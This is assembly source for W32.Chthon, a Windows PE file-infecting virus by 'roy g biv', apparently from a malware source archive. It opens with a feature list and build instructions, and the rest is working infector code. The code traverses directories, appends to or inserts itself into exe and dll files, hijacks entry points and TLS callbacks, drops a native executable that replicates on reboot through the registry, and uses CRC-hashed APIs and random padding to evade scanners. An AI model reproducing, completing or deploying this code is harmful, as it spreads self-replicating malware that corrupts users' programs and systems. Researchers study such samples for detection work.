MalwareSourceCode/Win32/Infector/Win32.Chthon.asm
2020-10-16 23:26:21 +02:00

1811 lines
69 KiB
NASM

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CHTHON.ASM]ÄÄÄ
comment ;)
W32.Chthon by roy g biv
some of its features:
- native executable - runs before GUI loads so also before any other files
- parasitic direct action infector of PE exe/dll (but not looking at suffix)
- infects files in current directory and all subdirectories
- directory traversal is linked-list instead of recursive to reduce stack size
- reloc section inserter/last section appender
- weird EPO (TLS code used to drop file which contains replication code)
- 100% Unicode function (because is for NT/2000/XP OS only)
- uses CRCs instead of API names
- uses SEH for common code exit
- section attributes are not always altered (virus is not self-modifying)
- no infect files with data outside of image (eg self-extractors)
- infected files are padded by random amounts to confuse tail scanners
- uses SEH walker to find kernel, uses import for ntdll (no hard-coded addresses)
- correct file checksum without using imagehlp.dll :) 100% correct algorithm
- plus some new code optimisations that were never seen before W32.Shrug :)
combined W32.Shrug and W32.OU812 that infects host file using a new technique
known bugs:
- no SFC/SFP support. why? because it is not available to native files
---
optimisation tip: Windows appends ".dll" automatically, so this works:
push "cfs"
push esp
call LoadLibraryA
---
to build this thing:
tasm
----
tasm32 /ml /m3 chthon
tlink32 /B:400000 /x chthon,,,import32
Virus is not self-modifying, so no need to alter section attributes
---
We're in the middle of a phase transition:
a butterfly flapping its wings at
just the right moment could
cause a storm to happen.
-I'm trying to understand-
I'm at a moment in my life-
I don't know where to flap my wings.
(Danny Hillis)
(;
.386
.model flat
extern GetCurrentProcess:proc
extern WriteProcessMemory:proc
extern MessageBoxA:proc
extern ExitProcess:proc
.data
;must be reverse alphabetical order because they are stored on stack
;API names are not present in replications, only in dropper
krnnames db "RtlSetCurrentDirectory_U" , 0
db "RtlRandom" , 0
db "RtlFreeHeap" , 0
db "RtlDosPathNameToNtPathName_U", 0
db "RtlAllocateHeap" , 0
db "NtUnmapViewOfSection" , 0
db "NtSetInformationFile" , 0
db "NtQueryDirectoryFile" , 0
db "NtOpenFile" , 0
db "NtMapViewOfSection" , 0
db "NtCreateSection" , 0
db "NtClose" , 0
exenames db "WriteFile" , 0
db "SetFileAttributesA" , 0
db "MoveFileA" , 0
db "LoadLibraryA" , 0
db "GlobalFree" , 0
db "GlobalAlloc" , 0
db "GetWindowsDirectoryA" , 0
db "GetTickCount" , 0
db "GetTempFileNameA" , 0
db "GetFileAttributesA" , 0
db "DeleteFileA" , 0
db "CreateFileA" , 0
db "CloseHandle" , 0
regnames db "RegSetValueExA", 0
db "RegOpenKeyA" , 0
db "RegCloseKey" , 0
sysname equ "chthon" ;must be < 8 bytes long else code change
txttitle db sysname, 0
txtbody db "Please reboot to finish installing ;)", 0
include chthon.inc
.code
assume fs:nothing
dropper label near
mov edx, krncrc_count
mov ebx, offset krnnames
mov edi, offset krncrcbegin
call create_crcs
mov edx, execrc_count
mov ebx, offset exenames
mov edi, offset execrcbegin
call create_crcs
mov edx, regcrc_count
mov ebx, offset regnames
mov edi, offset regcrcbegin
call create_crcs
call patch_host
xor ebx, ebx
push ebx
push offset txttitle
push offset txtbody
push ebx
call MessageBoxA
push ebx
call ExitProcess
create_crcs proc near
imul ebp, edx, 4
create_loop label near
or eax, -1
create_outer label near
xor al, byte ptr [ebx]
push 8
pop ecx
create_inner label near
add eax, eax
jnb create_skip
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
create_skip label near
loop create_inner
sub cl, byte ptr [ebx] ;carry set if not zero
inc ebx ;carry not altered by inc
jb create_outer
push eax
dec edx
jne create_loop
mov eax, esp
push ecx
push ebp
push eax
push edi
call GetCurrentProcess
push eax
xchg esi, eax
call WriteProcessMemory
add esp, ebp
ret
create_crcs endp
patch_host label near
pop ecx
push ecx
call $ + 5
pop eax
add eax, offset host_patch - offset $ + 1
sub ecx, eax
push ecx
mov eax, esp
xor edi, edi
push edi
push 4
push eax
push offset host_patch + 3
push esi
call WriteProcessMemory
push edi ;fake Reserved
push edi ;fake Reason
push edi ;fake DLLHandle
push edi ;fake return address
jmp chthon_tlscode
;-----------------------------------------------------------------------------
;everything before this point is dropper code
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
;virus code begins here
;-----------------------------------------------------------------------------
chthon_begin proc near
enter (size findlist - 5) and -4, 0 ;Windows NT/2000/XP enables alignment check exception
;so some APIs fail if buffer is not dword aligned
;-5 to align at 2 dwords earlier
;because EBP saved automatically
;and other register saved next
push 0 ;zero findprev in findlist
mov edi, dword ptr ds:[40102ch] ;understand this before you think to change it!
call find_mzhdr
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
krncrcbegin label near ;place < 80h bytes from call for smaller code
dd (krncrc_count + 1) dup (0)
krncrcend label near
dd offset get_heaphand - offset krncrcend + 4
db "Chthon - roy g biv" ;trust me - I'm a local
tlsdata tlsstruc <0>
;-----------------------------------------------------------------------------
;moved label after some data because "e800000000" looks like virus code ;)
;-----------------------------------------------------------------------------
find_mzhdr label near
;-----------------------------------------------------------------------------
;do not use hard-coded kernel address values because it is not portable
;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
;they will maybe change again for every new release
;-----------------------------------------------------------------------------
dec edi ;sub 64kb
xor di, di ;64kb align
call is_pehdr
jne find_mzhdr
mov ebx, edi
pop edi
;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------
mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
lea esi, dword ptr [ebx + esi + peexp.expadrrva]
lods dword ptr [esi] ;Export Address Table RVA
lea edx, dword ptr [ebx + eax]
lods dword ptr [esi] ;Name Pointer Table RVA
lea ecx, dword ptr [ebx + eax]
lods dword ptr [esi] ;Ordinal Table RVA
lea ebp, dword ptr [ebx + eax]
mov esi, ecx
push_export label near
push ecx
get_export label near
lods dword ptr [esi]
push ebx
add ebx, eax ;Name Pointer VA
or eax, -1
crc_outer label near
xor al, byte ptr [ebx]
push 8
pop ecx
crc_inner label near
add eax, eax
jnb crc_skip
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
crc_skip label near
loop crc_inner
sub cl, byte ptr [ebx] ;carry set if not zero
inc ebx ;carry not altered by inc
jb crc_outer
pop ebx
cmp dword ptr [edi], eax
jne get_export
;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------
pop ecx
mov eax, esi
sub eax, ecx ;Name Pointer Table VA
shr eax, 1
movzx eax, word ptr [ebp + eax - 2] ;get export ordinal
mov eax, dword ptr [eax * 4 + edx] ;get export RVA
add eax, ebx
push eax
scas dword ptr [edi]
cmp dword ptr [edi], 0
jne push_export
add edi, dword ptr [edi + 4]
jmp edi
get_heaphand label near
mov ebx, esp
lea esi, dword ptr [ebx + size krncrcstk]
mov eax, dword ptr fs:[tib.TibTeb]
mov edi, dword ptr [eax + teb.heaphand]
;-----------------------------------------------------------------------------
;set initial scanning directory (Windows directory takes too long), but
;if initial directory is not existing, then Windows directory will be used
;-----------------------------------------------------------------------------
call init_dire
init_dirb label near
dw "\", "p", "r", "o", "g", "r", "a", "m", " ", "f", "i", "l", "e", "s", 0
init_dire label near
push offset init_dire - offset init_dirb
push esp
call dword ptr [ebx + krncrcstk.kRtlSetCurrentDirectory_U]
pop eax
pop eax
;-----------------------------------------------------------------------------
;non-recursive directory traverser
;-----------------------------------------------------------------------------
scan_dir label near
push '*'
mov eax, esp
lea ecx, dword ptr [esi + findlist.findmask]
push ecx
push eax
lea ecx, dword ptr [esi + findlist.findname]
push ecx
push eax
call dword ptr [ebx + krncrcstk.kRtlDosPathNameToNtPathName_U]
pop eax
xor ecx, ecx
push ecx
push ecx
push ecx
lea eax, dword ptr [esi + findlist.findname.UniLength]
sub dword ptr [eax], 4 ;no count "\??\"
push eax
push ecx
push size OBJECT_ATTRIBUTES
mov eax, esp
push FILE_DIRECTORY_FILE or FILE_SYNCHRONOUS_IO_NONALERT or FILE_OPEN_FOR_BACKUP_INTENT
push FILE_SHARE_READ or FILE_SHARE_WRITE
push esp
push eax
push FILE_LIST_DIRECTORY or SYNCHRONIZE
lea eax, dword ptr [esi + findlist.findhand]
push eax
call dword ptr [ebx + krncrcstk.kNtOpenFile]
add esp, size OBJECT_ATTRIBUTES
test eax, eax
jl find_prev
lea ebp, dword ptr [esi + findlist.findmask]
find_next label near
push 0
push ebp
push esp ;non-zero
push FileBothDirectoryInformation
push size FILE_DIRECTORY_INFORMATION
lea eax, dword ptr [esi + findlist.finddata]
push eax
push esp
xor ebp, ebp
push ebp
push ebp
push ebp
push dword ptr [esi + findlist.findhand]
call dword ptr [ebx + krncrcstk.kNtQueryDirectoryFile]
test eax, eax
jl find_prev
;you must always step forward from where you stand
mov ecx, dword ptr [esi + findlist.finddata.dirFileNameLength]
lea eax, dword ptr [esi + findlist.finddata.dirFileName]
mov dword ptr [eax + ecx], ebp
test byte ptr [esi + findlist.finddata.dirFileAttributes], FILE_ATTRIBUTE_DIRECTORY
je test_file
cmp byte ptr [eax], '.' ;ignore . and .. (but also .* directories under NT/2000/XP)
je find_next
;-----------------------------------------------------------------------------
;enter subdirectory, and allocate another list node
;-----------------------------------------------------------------------------
push eax
push ecx
push esp
call dword ptr [ebx + krncrcstk.kRtlSetCurrentDirectory_U]
test eax, eax
pop eax
pop eax
jl find_next
push offset size findlist
push ebp
push edi
call dword ptr [ebx + krncrcstk.kRtlAllocateHeap]
xchg ecx, eax
jecxz step_updir
xchg esi, ecx
mov dword ptr [esi], ecx
jmp scan_dir
org $ - 2 ;select top 16 bits of jump
chthon_exit label near ;game over
org $ + 2
;-----------------------------------------------------------------------------
;close find, and free list node if not list head
;-----------------------------------------------------------------------------
find_prev label near
push dword ptr [esi + findlist.findhand]
call dword ptr [ebx + krncrcstk.kNtClose]
push dword ptr [esi + findlist.findname.Buffer]
push ebp
push edi
call dword ptr [ebx + krncrcstk.kRtlFreeHeap]
mov ecx, dword ptr [esi + findlist.findprev]
jecxz chthon_exit
push esi
mov esi, ecx
push ebp
push edi
call dword ptr [ebx + krncrcstk.kRtlFreeHeap]
step_updir label near
push ebp
push '.' shl 10h + '.'
push esp
push 2
push esp
call dword ptr [ebx + krncrcstk.kRtlSetCurrentDirectory_U]
add esp, size UNICODE_STRING + 8
jmp find_next
test_file label near
push ebx
push edi
push eax
push ecx
mov eax, esp
push ebp
push ebp
push ebp
push eax
push dword ptr [esi + findlist.findmask.RootDir]
push size OBJECT_ATTRIBUTES
mov ebx, esp
push eax
mov eax, esp
push FILE_SYNCHRONOUS_IO_NONALERT or FILE_OPEN_FOR_BACKUP_INTENT
push ebp
push esp
push ebx
push FILE_WRITE_ATTRIBUTES or SYNCHRONIZE
push eax
call dword ptr [ebx + size openstk + krncrcstk.kNtOpenFile]
pop ecx
push ecx
push ebp
push FILE_ATTRIBUTE_ARCHIVE
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
mov eax, esp
push FileBasicInformation
push size FILE_BASIC_INFORMATION
push eax
push esp
push ecx
call dword ptr [ebx + size openstk + krncrcstk.kNtSetInformationFile]
add esp, size FILE_BASIC_INFORMATION
call dword ptr [ebx + size openstk + krncrcstk.kNtClose]
push eax
mov eax, esp
push FILE_SYNCHRONOUS_IO_NONALERT or FILE_OPEN_FOR_BACKUP_INTENT
push ebp
push esp
push ebx
push FILE_READ_DATA or FILE_WRITE_DATA or FILE_APPEND_DATA or FILE_WRITE_ATTRIBUTES or SYNCHRONIZE
push eax
call dword ptr [ebx + size openstk + krncrcstk.kNtOpenFile]
call test_infect
db 81h ;mask CALL
call infect_file ;Super Nashwan power ;)
;-----------------------------------------------------------------------------
;file time and attributes can be set with single call to NtSetInformationFile
;-----------------------------------------------------------------------------
close_file label near ;label required for delta offset
pop ecx
push ecx
mov eax, dword ptr [esi + findlist.finddata.dirFileAttributes]
mov dword ptr [esi + findlist.finddata.dirRealFileSize.dwordLow], eax
push FileBasicInformation
push size FILE_BASIC_INFORMATION
lea eax, dword ptr [esi + findlist.finddata.dirCreationTime]
push eax
push esp
push ecx
call dword ptr [ebx + size openstk + krncrcstk.kNtSetInformationFile]
call dword ptr [ebx + size openstk + krncrcstk.kNtClose]
add esp, size OBJECT_ATTRIBUTES + size UNICODE_STRING
pop edi
pop ebx
jmp find_next
;-----------------------------------------------------------------------------
;look for MZ and PE file signatures
;-----------------------------------------------------------------------------
is_pehdr proc near ;edi -> map view
cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ'
jne pehdr_ret
mov esi, dword ptr [edi + mzhdr.mzlfanew]
add esi, edi
lods dword ptr [esi] ;SEH protects against bad lfanew value
add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX
pehdr_ret label near
ret ;if PE file, then eax = 0, esi -> COFF header, Z flag set
db "11/11/01"
is_pehdr endp
;-----------------------------------------------------------------------------
;test if file is infectable (not protected, PE, x86, non-system, not infected, etc)
;-----------------------------------------------------------------------------
test_infect proc near ;esi = find data, edi = map view
call map_view
mov ebp, esi
call is_pehdr
jne inftest_ret
lods dword ptr [esi]
cmp ax, IMAGE_FILE_MACHINE_I386
jne inftest_ret ;only Intel 386+
shr eax, 0dh ;move high 16 bits into low 16 bits and multiply by 8
lea edx, dword ptr [eax * 4 + eax] ;complete multiply by 28h (size pesect)
mov ecx, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate]
;-----------------------------------------------------------------------------
;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them
;-----------------------------------------------------------------------------
test ch, (IMAGE_FILE_SYSTEM or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8
jne inftest_ret
add esi, pehdr.peentrypoint - pehdr.pecoff.petimedate
;-----------------------------------------------------------------------------
;if file is a .dll, then we require an entry point function
;-----------------------------------------------------------------------------
lods dword ptr [esi]
xchg ecx, eax
test ah, IMAGE_FILE_DLL shr 8
je test_system
jecxz inftest_ret
;-----------------------------------------------------------------------------
;32-bit executable file...
;-----------------------------------------------------------------------------
test_system label near
and ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
jne inftest_ret ;cannot use xor+jpo because 0 is also jpe
;-----------------------------------------------------------------------------
;the COFF magic value is not checked because Windows ignores it anyway
;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+
;-----------------------------------------------------------------------------
mov eax, dword ptr [esi + pehdr.pesubsys - pehdr.pecodebase]
cmp ax, IMAGE_SUBSYSTEM_WINDOWS_CUI
jnbe inftest_ret
cmp al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0
jb inftest_ret
shr eax, 1eh ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h
jb inftest_ret
;-----------------------------------------------------------------------------
;avoid files which seem to contain attribute certificates
;because one of those certificates might be a digital signature
;-----------------------------------------------------------------------------
cmp dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pecodebase], 0
jne inftest_ret
;-----------------------------------------------------------------------------
;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size
;the Optional Header can be larger than the offset of the last directory
;remember: even if you have not seen it does not mean that it does not happen :)
;-----------------------------------------------------------------------------
movzx eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pecodebase]
add eax, edx
lea esi, dword ptr [esi + eax - pehdr.pecodebase + pehdr.pemagic - size pesect + pesect.sectrawsize]
lods dword ptr [esi]
add eax, dword ptr [esi]
cmp dword ptr [ebp + findlist.finddata.dirRealFileSize], eax
jne inftest_ret ;file contains appended data
inc dword ptr [esp + mapsehstk.mapsehinfret]
;skip call mask
inftest_ret label near
int 3
;-----------------------------------------------------------------------------
;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes)
;I use RtlRandom() instead of RDTSC because RDTSC can be made privileged
;-----------------------------------------------------------------------------
open_append proc near
push esi
push esp
call dword ptr [ebx + size openstk + krncrcstk.kRtlRandom]
pop ecx
and eax, RANDPADMAX - 1
add ax, small (offset chthon_codeend - offset chthon_begin + RANDPADMIN)
add dword ptr [esi + findlist.finddata.dirRealFileSize], eax
;-----------------------------------------------------------------------------
;create file map, and map view if successful
;-----------------------------------------------------------------------------
map_view proc near ;ebx -> APIs, esi -> findlist, ebp = 0
mov eax, dword ptr [esi + findlist.finddata.dirRealFileSize]
push eax
push dword ptr [esi + findlist.finddata.dirRealFileSize.dwordHigh]
push eax
mov eax, esp
push ebp
mov ecx, esp
push PAGE_READWRITE ;NtMapViewOfSection
push ebp ;NtMapViewOfSection
push 1 ;NtMapViewOfSection
push eax ;NtMapViewOfSection
lea edx, dword ptr [esp - 0ch]
push edx ;NtMapViewOfSection
push ebp ;NtMapViewOfSection
push ebp ;NtMapViewOfSection
push ecx ;NtMapViewOfSection
push -1 ;NtMapViewOfSection
push eax ;NtMapViewOfSection
push dword ptr [ebx - 4]
push 08000000h
push PAGE_READWRITE
push eax
push ebp
push STANDARD_RIGHTS_REQUIRED or SECTION_QUERY or SECTION_MAP_WRITE or SECTION_MAP_READ
lea ecx, dword ptr [edx - 0ch]
push ecx
call dword ptr [ebx + size openstk + krncrcstk.kNtCreateSection]
pop edi
push edi
call dword ptr [ebx + size openstk + krncrcstk.kNtMapViewOfSection]
pop eax
pop ecx
pop ecx
pop ecx
xchg edi, eax ;should succeed even if file cannot be opened
pushad
call unmap_seh
mov esp, dword ptr [esp + 8]
xor eax, eax
pop dword ptr fs:[eax]
pop eax
popad ;SEH destroys all registers
push eax
push edi
push -1
call dword ptr [ebx + size openstk + krncrcstk.kNtUnmapViewOfSection]
call dword ptr [ebx + size openstk + krncrcstk.kNtClose]
pop eax
ret
unmap_seh proc near
cdq
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
jmp dword ptr [esp + 28h]
unmap_seh endp
map_view endp ;eax = map handle, ecx = new file size, edi = map view
open_append endp
;-----------------------------------------------------------------------------
;infect file using a selection of styles for variety, using two parts
;algorithm: increase file size by random amount (RANDPADMIN-RANDPADMAX
; bytes) to confuse scanners that look at end of file (also
; infection marker)
; if reloc table is not in last section (taken from relocation
; field in PE header, not section name), then append to last
; section. otherwise, move relocs down and insert code into
; space (to confuse people looking at end of file. they will
; see only relocation data and garbage or many zeroes)
;DLL infection: entry point is altered to point to some code. very simple
;EXE infection: Entry Point Obscured via TLS callback function
; if no TLS directory exists, then one will be created, with a
; single callback function that points to this code
; if a TLS directory exists, but no callback functions exist,
; then a function pointer will be created that points to this
; code
; else if a TLS directory and callback functions exist, then the
; first function pointer will be altered to point to this code
; however, that code just drops exe, alters registry and returns
; exe contains virus code which replicates on reboot
;-----------------------------------------------------------------------------
infect_file label near ;esi -> findlist, edi = map view
call open_append
delta_label label near
push ecx
push edi
mov ebx, dword ptr [edi + mzhdr.mzlfanew]
lea ebx, dword ptr [ebx + edi + pehdr.pechksum]
movzx eax, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum]
imul eax, eax, size pesect
movzx ecx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum]
add eax, ecx
lea esi, dword ptr [ebx + eax + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize]
lods dword ptr [esi]
mov cx, offset chthon_codeend - offset chthon_begin
mov edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum]
push eax
add eax, ecx
dec edx
add eax, edx
not edx
and eax, edx ;file align last section
mov dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax
;-----------------------------------------------------------------------------
;raw size is file aligned. virtual size is not required to be section aligned
;so if old virtual size is larger than new raw size, then size of image does
;not need to be updated, else virtual size must be large enough to cover the
;new code, and size of image is section aligned
;-----------------------------------------------------------------------------
mov ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
cmp dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
jnb test_reloff
mov dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
add eax, ebp
mov edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum]
dec edx
add eax, edx
not edx
and eax, edx
mov dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax
;-----------------------------------------------------------------------------
;if relocation table is not in last section, then append to last section
;otherwise, move relocations down and insert code into space
;-----------------------------------------------------------------------------
test_reloff label near
test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED
jne copy_code
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp
jb copy_code
mov eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr]
add eax, ebp
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax
jnb copy_code
add dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx
pop eax
push esi
add edi, dword ptr [esi]
lea esi, dword ptr [edi + eax - 1]
lea edi, dword ptr [esi + ecx]
xchg ecx, eax
std
rep movs byte ptr [edi], byte ptr [esi]
cld
pop esi
pop edi
push edi
push ecx
xchg ecx, eax
copy_code label near
pop edx
add ebp, edx
xchg ebp, eax
add edx, dword ptr [esi]
add edi, edx
push esi
push edi
mov esi, offset chthon_begin - offset delta_label
add esi, dword ptr [esp + infectstk.infseh.mapsehinfret]
;delta offset
rep movs byte ptr [edi], byte ptr [esi]
pop edi
pop esi
;-----------------------------------------------------------------------------
;always alter entry point of dlls
;-----------------------------------------------------------------------------
test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum + 1], IMAGE_FILE_DLL shr 8
je test_tlsdir
lea edx, dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum]
alter_func label near
add eax, offset chthon_tlscode - offset chthon_begin
xchg dword ptr [edx], eax
sub eax, offset host_patch - offset chthon_tlscode
sub eax, dword ptr [edx]
mov dword ptr [edi + offset host_patch - offset chthon_begin + 3], eax
jmp checksum_file
;-----------------------------------------------------------------------------
;if tls directory exists...
;-----------------------------------------------------------------------------
test_tlsdir label near
mov ecx, dword ptr [ebx + pehdr.petls.dirrva - pehdr.pechksum]
jecxz add_tlsdir ;size field is never checked
call rva2raw
pop edx
push edx
add eax, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
push eax
lea eax, dword ptr [edx + ecx + tlsstruc.tlsfuncptr]
mov ecx, dword ptr [eax]
jecxz store_func
sub ecx, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
call rva2raw
add edx, ecx ;do not combine
mov ecx, dword ptr [edx] ;current edx used by alter_func
;it is impossible if it passes unattempted
store_func label near
test ecx, ecx
pop ecx
xchg ecx, eax
jne alter_func
add eax, offset tlsdata.tlsfunc - offset chthon_begin
mov dword ptr [ecx], eax
add edi, offset tlsdata.tlsfiller - offset chthon_begin
jmp set_funcptr
;-----------------------------------------------------------------------------
;the only time that the section attributes are altered is when a TLS directory
;is created. at that time, a writable dword must be available for the index.
;the alternative is to search for a writable section with virtual size > raw
;size, set index pointer to that address and reinitialise it to zero in code
;-----------------------------------------------------------------------------
add_tlsdir label near
or byte ptr [esi + pesect.sectflags - pesect.sectrawaddr + 3], IMAGE_SCN_MEM_WRITE shr 18h
add eax, offset tlsdata - offset chthon_begin
mov dword ptr [ebx + pehdr.petls.dirrva - pehdr.pechksum], eax
add eax, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
add eax, offset tlsdata.tlsflags - offset tlsdata
add edi, offset tlsdata.tlsindex - offset chthon_begin
stos dword ptr [edi]
add eax, offset tlsdata.tlsfunc - offset tlsdata.tlsflags
stos dword ptr [edi]
set_funcptr label near
scas dword ptr [edi]
scas dword ptr [edi]
add eax, offset chthon_dllcode - offset tlsdata.tlsfunc
stos dword ptr [edi]
checksum_file label near
pop edi
;-----------------------------------------------------------------------------
;CheckSumMappedFile() - simply sum of all words in file, then adc filesize
;-----------------------------------------------------------------------------
xor ecx, ecx
xchg dword ptr [ebx], ecx
jecxz infect_ret
xor eax, eax
pop ecx
push ecx
inc ecx
shr ecx, 1
clc
calc_checksum label near
adc ax, word ptr [edi]
inc edi
inc edi
loop calc_checksum
pop dword ptr [ebx]
adc dword ptr [ebx], eax ;avoid common bug. ADC not ADD
infect_ret label near
int 3 ;common exit using SEH
db "*4U2NV*" ;that is, unless you're reading this
test_infect endp
;-----------------------------------------------------------------------------
;convert relative virtual address to raw file offset
;-----------------------------------------------------------------------------
rvaloop label near
sub esi, size pesect
cmp al, 'R' ;mask PUSH ESI
org $ - 1
rva2raw proc near ;ecx = RVA, esi -> last section header
push esi
cmp dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr], ecx
jnbe rvaloop
sub ecx, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
add ecx, dword ptr [esi]
pop esi
ret
rva2raw endp
;When last comes to last,
; I have little power:
; I am merely an urn.
;I hold the bone-sap of myself,
; And watch the marrow burn.
;
;When last comes to last,
; I have little strength:
; I am only a tool.
;I work its work; and in its hands
; I am the fool.
;
;When last comes to last,
; I have little life.
; I am simply a deed:
;an action done while courage holds:
; A seed.
;(Stephen Donaldson)
;-----------------------------------------------------------------------------
;virus code begins here in dlls (always) and exes (existing TLS callback pointer)
;-----------------------------------------------------------------------------
chthon_tlscode proc near
mov eax, dword ptr [esp + initstk.initReason]
push eax ;fake Reserved
push eax ;real Reason
push eax ;fake DLLHandle
call host_patch ;real return address
host_patch label near
add dword ptr [esp], '!bgr'
;-----------------------------------------------------------------------------
;virus code begins here in exes (created TLS directory / callback pointer)
;-----------------------------------------------------------------------------
chthon_dllcode proc near ;stack = DllHandle, Reason, Reserved
test byte ptr [esp + initstk.initReason], DLL_PROCESS_ATTACH or DLL_THREAD_ATTACH
jne chthon_dllret ;kernel32 not in SEH chain on ATTACH messages
pushad
xor esi, esi
lods dword ptr fs:[esi]
inc eax
walk_seh label near
dec eax
xchg esi, eax
lods dword ptr [esi]
inc eax
jne walk_seh
mov edi, dword ptr [esi]
call find_mzhdr
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
execrcbegin label near ;place < 80h bytes from call for smaller code
dd (execrc_count + 1) dup (0)
execrcend label near
dd offset drop_sys - offset execrcend + 4
chthon_dllret label near
ret 0ch
syslabel label near
db sysname, ".exe"
db 0ch - (offset $ - offset syslabel) dup (0)
syssize equ 94h
;RLE-based compressed MZ header, PE header, section table, import table
dd 11111111110000011100001011100000b
; mmmmmmmmmmz 01mmz 02mmm
db 'M', 'Z', "ntdll.dll", 'P', 'E', 4ch, 1, 1
dd 00000110000111100001001010010000b
; z 01mz 03mmz 02r 04m
db 2, 2ch, 10h, 40h
dd 00000111110100100001001000111110b
; z 01mmmmr 02z 04mz 07mm
db 0fh, 3, 0bh, 1, 56h, syssize, 10h
dd 00001001010010001011000010100001b
; z 02r 04mz 05mz 02mz 02
db 0ch, 40h, 10h
dd 00000110000100110001000011111000b
; z 01mz 02r 08mz 03mmm
db 2, 4, "pow"
dd 00001010000101000111100001110001b
; z 02mz 02mz 07mz 03mz 04
db ((offset chthon_codeend - offset chthon_begin + syssize + 1fffh) and not 0fffh) shr 8, syssize, 1, 1
dd 10000111000010100001101010010010b
; mz 03mz 02mz 03r 04mz 08
db 10h, ((offset chthon_codeend - offset chthon_begin + syssize + 1ffh) and not 1ffh) shr 8, 1, 2
dd 00001011100011000000000000000000b
; z 02mmmz 06
db 60h, 8, 10h
dd 0
;decompressed data follow. 'X' bytes are set to random value every time
; db 'M', 'Z' ;00
; db "ntdll.dll", 0 ;02 align 4, filler (overload for dll name and import lookup table RVA)
; db 'P', 'E', 0, 0 ;0c 00 signature (overload for date/time stamp)
; dw 14ch ;10 04 machine (overload for forwarder chain)
; dw 1 ;12 06 number of sections (overload for forwarder chain)
; dd 2 ;14 08 date/time stamp (overload for dll name RVA)
; dd 102ch ;18 0c pointer to symbol table (overload for import address table RVA)
; db X, X, X, X ;1c 10 number of symbols
; dw 40h ;20 14 size of optional header
; dw 30fh ;22 16 characteristics
; dw 10bh ;24 18 magic
; db X ;26 1a major linker
; db X ;27 1b minor linker
; dd 0 ;28 1c size of code (overload for import table terminator)
; dd 56h ;2c 20 size of init data (overload for import name table RVA)
; dd 0 ;30 24 size of uninit data (overload for import name table terminator)
; dd syssize + 1000h ;34 28 entry point
; db X, X, X, X ;38 2c base of code
; dd 0ch ;3c 30 base of data (overload for lfanew)
; dd 400000h ;40 34 image base
; dd 1000h ;44 38 section align
; dd 200h ;48 3c file align
; db X, X ;4c 40 major os
; db X, X ;4e 42 minor os
; db X, X ;50 44 major image
; db X, X ;52 46 minor image
; dw 4 ;54 48 major subsys
; dw 0 ;56 4a minor subsys (overload for import name table)
; db "pow", 0 ;58 4c reserved (overload for import name table)
; dd (aligned size of code) ;5c 50 size of image
; dd syssize ;60 54 size of headers
; dd 0 ;64 58 checksum (overload for section name)
; dw 1 ;68 5c subsystem (overload for section name)
; dw 0 ;6a 5e dll characteristics (overload for section name)
; dd 1 ;6c 60 size of stack reserve (overload for virtual size)
; dd 1000h ;70 64 size of stack commit (overload for virtual address)
; dd (aligned size of code) ;74 68 size of heap reserve (overload for file size)
; dd 1 ;78 6c size of heap commit (overload for file offset)
; db X, X, X, X ;7c 70 loader flags (overload for pointer to relocs)
; dd 2 ;80 74 number of rva and sizes (overload for pointer to line numbers)
; dd 0 ;84 78 export (overload for reloc table and line numbers)
